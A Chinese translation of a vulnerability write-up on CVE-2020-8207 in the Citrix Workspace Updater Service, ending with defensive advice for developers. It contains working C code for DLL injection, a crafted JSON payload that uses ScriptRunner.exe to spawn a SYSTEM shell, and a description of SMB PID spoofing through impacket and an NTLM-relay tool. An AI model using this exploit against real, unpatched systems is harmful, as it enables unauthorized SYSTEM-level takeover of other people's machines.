获取SYSTEM Shell:Citrix Workspace软件命名管道校验客户端漏洞分析
2020-08-17 12:13:29 Author: www.4hou.com(查看原文) 阅读量:332 收藏

导语:通过在命名管道上发送进行制作的消息,并欺骗客户端进程ID,可以诱导Citrix Workspace Updater Service在SYSTEM帐户下执行任意进程。

0x00 概述

Citrix Workspace容易受到在SYSTEM帐户上下文运行的远程命令执行攻击。通过在命名管道上发送进行制作的消息,并欺骗客户端进程ID,可以诱导Citrix Workspace Updater Service在SYSTEM帐户下执行任意进程。尽管需要一个低特权帐户来执行攻击,但未实现SMB签名的环境特别容易受到攻击,因为可以在不通过NTLM凭据中继获知有效凭据的情况下实现攻击。

Citrix针对该漏洞已经分配了CVE-2020-8207的编号,并发布了Workspace应用程序的更新版本。大家可以在这里查看Citrix的安全公告。

0x01 介绍

Citrix Workspace应用程序通过一项名为Citrix Workspace Updater Service的服务实现了自动更新功能。该服务在SYSTEM上下文中执行应用的自动和手动更新。

UpdaterService侦听客户端连接:

1.png

Citrix Workspace应用程序会定期触发名为CitrixReceiverUpdater.exe的帮助程序的启动。这个进程将与服务进行通信以检查更新。也可以使用系统任务栏图标的“检查更新”功能手动触发。帮助程序进程将连接到citrix.com,并确定是否有新的更新。如果有新的更新可用时,该进程将通知用户可以安装更新。

一旦用户确认需要安装更新,帮助程序就会继续下载安装程序,并最终与特权服务通信以请求安装。该服务需要以下JSON消息格式:

{
    "MessageType": 1,
    "UpdateFilePath": "c:\\path\\to\\downloaded\\update.exe",
    "UpdateFileHash": "23819ab8d97……03764a34ebf53b002",
    "InstallationTriggerBehavior": 0,
    "CmdLineArguments": "updateargs"
}

MessageType为1表示安装更新请求,而InstallationTriggerBehavior为0表示该服务的帮助程序希望无需等待结果就启动这一进程。UpdateFileHash是我们请求运行的可执行文件的SHA256哈希值。

0x02 验证身份

现在,JSON消息已经被解码,是时候开展第一次攻击了。我们制作JSON消息,指向我们控制的可执行文件。通过使用Payload、Cobalt Strike Beacon和PoC,所有攻击前的准备工作就都做好了,但我们发现攻击失败。显然,Citrix还实施了其他检查,以防止任意进程执行。

通过深入研究dnSpy,我们发现该服务似乎关注已连接到命名管道的客户端应用程序的PID。

GetNamedPipeClientProcessId用于获取客户端PID:

2.png

该服务使用来自kernel32.dll的本地API调用GetNamedPipeClientProcessId来检索客户端PID。一旦获得了PID,就确定了所连接客户端的处理路径,并生成SHA256哈希值。然后,将该哈希值与CitrixReceiverUpdater.exe的SHA256进行比较,确认二者是否匹配。这一过程从本质上验证了连接到管道的客户端应用程序是否确实是CitrixReceiverUpdater.exe。如果哈希值不匹配,更新进程将会返回错误。

0x03 伪装

现在,我们知道这个服务会拒绝从不是CitrixReceiverUpdater.exe的客户端执行任何请求,那我们就可以进行第二次攻击尝试。通过将DLL加载到发送特制消息的进程中,我们可以让CitrixReceiverUpdater.exe判断出客户端合法,但同时还持有一个可控的JSON Payload。

DWORD WINAPI CitrixExploit(LPVOID){
 
 
    char dbg[1024];
    char message[] = “{JSON(truncated for brevity)}”;
    DWORD amountWritten = 0;
 
HANDLE hPipe = CreateFileA("\\\\.\\pipe\\UpdaterServicePipe-800fad42-1d0f-4f66-8e18-8a0938cdc721", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr);
 
    ConnectNamedPipe(hPipe, nullptr);
 
    WINBOOL result = WriteFile(hPipe, message, strlen(message), &amountWritten, nullptr);
 
    CloseHandle(hPipe);
 
    if(result){
      sprintf_s(dbg,1024, "Result: %s\n",message);
    }else{
      sprintf_s(dbg,1024, "Call failed with 0x%08x\n",GetLastError());
}
 
    OutputDebugStringA(dbg);
    return DWORD(result);
 
}
 
BOOL WINAPI DllMain(HINSTANCE, DWORD fdwReason, LPVOID){
 
    switch(fdwReason){
      case DLL_PROCESS_ATTACH:{
        DWORD tid = 0;
        CreateThread(nullptr, 0, CitrixExploit, nullptr, 0, &tid);
        break;
      }
    }
    return true;
}

将上面的C代码编译成DLL之后,我们需要有一种方法将上述DLL加载到我们的托管进程CitrixReceiverUpdater.exe之中。有很多方法可以实现这一点,其中的一个方法就是使用ProcessHacker。这个操作过程不需要其他特权,因为我们将DLL加载到其中的进程是由执行注入的同一个非特权用户拥有的。

使用ProcessHacker加载我们的DLL:

3.png

在DLL被ProcessHacker加载后,攻击过程再一次失败了。我们必须继续分析。

0x04 信任签名

再一次,我们需要深入看看dnSpy内部发生了什么。该服务不再依赖于客户端进程检查,而是继续从CitrixReceiverUpdaterHelper.dll中调用名为ValidateUpdateBinaryHashAndSignature的本地函数。这个名称中就藏着一条线索,该函数会根据从客户端发送的JSON Payload中的值检查更新二进制文件的哈希值,与此同时它还会检查Authenticode签名。

它会检查签名吗?是否出于防止任意文件执行的考虑,确保二进制文件都已经过Citrix的签名?IDA给了我们答案。

调用WinVerifyTrust仅用于确认签名:

4.png

这里,使用WINTRUST_ACTION_GENERIC_VERIFY_V2操作对WinVerifyTrust进行调用。这个过程都是为了确定可执行文件是否具有有效签名并信任证书链。因此,从理论上讲,如果我们找到一个可用于启动其他进程的已签名可执行文件,那么应该就可以实现我们的目标。有很多living of the land(LOL)可执行文件可以通过代理执行,但是在我们的案例中,也需要对其进行签名。在lolbas项目(https://lolbas-project.github.io/#/execute)的列表中,我发现了ScriptRunner.exe。

Usage:
ScriptRunner.exe
-appvscript scriptFileName [Arguments] [-appvscriptrunnerparameters [-wait] [-timeout= < TimeInSeconds > ] [-rollbackonerror]]
-appvscript scriptFileName [Arguments] [-appvscriptrunnerparameters [-wait] [-timeout= < TimeInSeconds > ] [-rollbackonerror]]
...
Default values for -appvscriptrunnerparameters: No wait, No timeout, No rollback on error
Every parameter must be separated by a unicode space character (U+0020)
Example:
ScriptRunner.exe -appvscript foo.cmd arg1 arg2 -appvscriptrunnerparameters -wait -timeout=30 -rollbackonerror -appvscript foobar.exe arg1 arg2

有了这些新知识,我们就可以重新回顾DLL代码,并使用以下内容更新JSON Payload:

{
    "MessageType": 1,
    "UpdateFilePath": "c:\\windows\\sysnative\\scriptrunner.exe",
    "UpdateFileHash": "23819ab8d976e7e1933832f35a735900364e40e3afcd98103764a34ebf53b002",
    "InstallationTriggerBehavior": 0,
    "CmdLineArguments": "c:\\windows\\sysnative\\scriptrunner.exe -appvscript c:\\windows\\system32\\cmd.exe"
}

我们注意到,scriptrunner.exe路径使用的是sysnative,而不是System32。这样做的原因是由于scriptrunner.exe仅作为64位二进制文件可用,因此SysWOW64中缺少该文件夹。更新程序服务是一个32位进程,因此在路径中使用system32时,它将自动重定向到C :\Windows\SysWOW64。当使用特殊的系统路径时,将不会执行自动重定向,并将引用实际C:\Windows\System32文件夹中的64位二进制文件。这一点混乱之处让我们没有注意到问题所在。

使用上述JSON Payload编译新的DLL,并使用ProcessHacker再次注入DLL,将得到以下特权Shell程序。

SYSTEM级别命令提示符:

5.png

该进程在触发更新的应用程序会话中启动,这个会话也就是CitrixReceiverUpdater.exe程序。

0x05 实现远程代码执行

随后,我想到,根据其性质,命名管道也可以远程连接。

命名管道是一项Microsoft提出的数据通道技术,与TCP套接字类似,命名管道可以在本地或远程访问,并且通常位于445端口的SMB协议上。与TCP相比,命名管道的独特之处在于管道连接支持开箱即用的DACL,从而限制了允许用户从管道读取的内容和写入管道的内容。

顾名思义,在服务器端创建管道时,是通过唯一的名称来进行寻址,类似于侦听TCP端口(例如443或80端口)。管道的另一个独特功能允许服务器模拟客户端用户。通常,这是为了不使用客户端特权,但是有时也可以滥用它来增加特权,例如不久前我们在Docker中发现的PrivEsc漏洞。

命名管道的服务器通常是在高特权服务中实现的。通常情况下,是为了帮助降低来自同一软件供应商的特权。如同Citrix Workspace应用一样,这样可以在无需低特权用户提升权限或获取管理凭据的情况下,实现高特权的操作。

但是,在远程尝试此攻击之前,我们还需要扫除一些障碍。首先是权限问题。对于新创建的管道,将会默认授予SYSTEM、Administrators、所有者完整控制权。在这种情况下,由于管道是由高特权服务创建的,因此所有者也是SYSTEM。除非我们是Administrator或SYSTEM,否则默认ACL将不会允许来自普通用户的连接。由于我们上面的EoP使用的是受限帐户,因此权限一定已经更新。同样,我们可以使用ProcessHacker查看管道的ACL。

Everyone允许连接到管道:

6.png

看上去,该管道的权限已经更新,允许Everyone连接。但幸运的是,从Windows XP SP2开始,Everyone组不再包含Anoymous连接。但是,任何经过身份验证的用户,包括访客或内置帐户,都可以远程连接到这个管道。由此,第一个障碍已经扫除。

第二个障碍是连接进程的PID。好奇驱使我开始调查PID的来源。经过一番探索后,我阅读了James Forshaw发表过的一篇关于命名管道客户端PID欺骗的文章。根据这篇文章,我们似乎可以使用内置的Windows API,但是由于以前的漏洞已经被修复,目前实际上无法再欺骗PID。James的文章还提出了一个替代防范,也就是使用impacket。事实证明,这条路是行得通的。

根据客户端连接服务器的协议是SMB v1还是SMB v2/v3,可以确定我们要对正在提交的SMB数据包做什么样的修补。SMBv1具有为PID分配的特定字段,如下所示:

7.png

对于SMB v2/v3,情况略有不同,因为Microsoft似乎已经弃用该字段,并将其标记为“Reserved”。幸运的是,即使已经标为保留,但它仍然被视为发送/接收SMB数据包进程的PID。下面是SMB v2标头:

8.png

既然我们知道要在哪里修补这些值,我们接下来就需要知道如何在impacket中修补它们。在impacket smb.py中进行漏洞挖掘时,我发现了sendSMB函数。在这里,我们可以看到sendSMB针对SMBv1数据包的默认实现:

9.png

SMB v1的impackets默认实现实际上是在提交数据包之前填充了进程的PID,因此,为了修补这个值,我们需要挂钩smb.getData函数,以便可以在提交数据包之前更新PID。

SMB v2/v3数据包中的等效函数是在smb3.py内部实现的。对于这些类型的数据包,挂钩可以在sendSMB自身上完成,因为该字段被标记为保留,所以默认为0,甚至在sendSMB内都没有设置任何内容。

Python并不是我最熟悉的语言,相比来说我更加擅长C++/C#,但最终我想到了以下Python代码:

10.png

该代码实质上处理了SMBv1数据包的getData函数,以及SMB v2/v3的sendSMB函数的挂钩。另外,我们仅仅对于覆盖SMB2_CREATE/SMB_COMT_NT_CREATE_ANDX命令上的PID感兴趣,因为它们可以处理通过SMB打开远程文件和管道。通过使用我们的挂钩,并利用了impacket的SMBConnection类,进行了快速测试,这里我们使用了0x666这个伪造的PID,最终Wireshark捕获到以下数据包。Wireshark甚至将保留字段标记为PID,而不是Reserved。

11.png

0x06 NTLM依赖

由于命名管道是通过SMB连接打开的,因此,如果没有适当的缓解措施,它们就可能容易受到NTLM中继攻击。有趣的是,ntlmrelayx中似乎没有内置针对命名管道的通用攻击方式,因此,在此次研究过程中,我决定对ntlmrelayx实施一种基本的命名管道攻击,该攻击可以实现上面的PID欺骗功能。

命名管道客户端选项:

Named Pipe client options:
  --np-name NAME The name of the pipe to connect to
  --np-payload FILE Path to a file used as the payload
  --np-pid PID A specific client connection PID to use (cycle to 50000 is default)

ntlmrelayx.py具有3个新的参数,以及新的np://客户端协议,该协议可以在目标文件或命令行中的单个目标中使用。比较不错的是,大多数参数名称都描述了它们的实际用途。-np-payload参数对应一个文件,该文件将用于在成功连接后应写入管道的数据Payload。通常情况下,这是服务器希望在另一侧读取的内容。而在我们的案例中,这个参数附带的是Citrix Workspace更新JSON消息。

这个通用攻击模型仅支持发送到服务器的单条单向消息。如果攻击过程需要在恶意消息传输之前进行多次消息交换,那么我们则需要根据需求,自定义impacket/examples/ntlmrelayx/attacks/npattack.py文件。如果没有使用-np-pid参数指定PID,则默认操作将会通过PID每次递增4(在Windows中,PID为4的倍数)的方式重新发送Payload,一遍又一遍地尝试连接到管道。

大家可以在我们的GitHub仓库中查看impacket以及我们的命名管道攻击模式实现。您还可以使用NPAttackSample项目,该项目实现了易受攻击的客户端/服务器模型,可以使用ntlmrelayx进行攻击。

0x07 演示

我使用3台Windows 10主机,在实验室中建立了一个演示环境。所有计算机运行的都是Citrix Workspace应用的易受攻击版本,并会弹出对话框,显示可以下载新版本。搞笑的是,用户最容易受到NTLM中继远程攻击的时间正是现在,因为带有修复程序的升级版本已经接连在最终用户的计算机上弹出提示。

其中,LAB1-WIN10作为ntlmrelayx中继凭据的受害者主机,LAB2-WIN10和LAB3-WIN10将作为中继目标。我们注意到,回传到LAB1-WIN10的操作将会失败,因为Windows 10不允许将凭据回传给它自己。

一旦使用中继凭据成功连接到管道,攻击者就会开始通过PID进行循环,并使用PowerShell命令发送精心制作的JSON消息,该命令会暂存Cobalt Strike Beacon。当ntlmrelayx的PID与主机上运行的CitrixReceiverUpdater.exe程序的PID匹配时,将会执行PowerShell命令,并以SYSTEM身份建立与Cobalt Strike服务器的连接。

由于其中部分环节需要几分钟的时间,因此我们的演示视频有所删减。

视频:https://youtu.be/Rlz-S5EkvcQ

0x08 防御方式

该攻击可以在本地或远程执行。我们这里展现的漏洞是一种远程攻击方式,同时我们也利用中继来证明不需要已知凭据就可以针对未实现SMB签名的易受攻击的命名管道服务器实现漏洞利用。

如果选择在本地进行攻击,则不再需要ntlmrelayx。只需要一个使用SMBConnection和自定义挂钩的简单impacket脚本即可,欺骗PID的工作方式相同。我们可以以npattack.py作为参考。在本地攻击过程中,攻击者还可以枚举进程,甚至启动进程实例,该实例将在攻击之前由服务器进行验证。

那么,作为开发人员,我们如何能防御此类攻击呢?

首先,如果我们只希望从本地计算机访问命名管道,就需要确保将NT AUTHORITY\NETWORK作为拒绝规则添加到管道的DACL。这样将会防止通过网络访问管道。另外,也可以使用仅适用于本地通信的ALPC或类似的LPC接口。

其次,请不要依赖于GetNamedPipeClientProcessId/GetNamedPipeServerProcessId API来进行安全性验证。在我们上述的研究过程中,证明了它可以被欺骗。

本文翻译自:https://www.pentestpartners.com/security-blog/raining-system-shells-with-citrix-workspace-app/如若转载,请注明原文地址:


文章来源: https://www.4hou.com/posts/53XB
如有侵权请联系:admin#unsafe.sh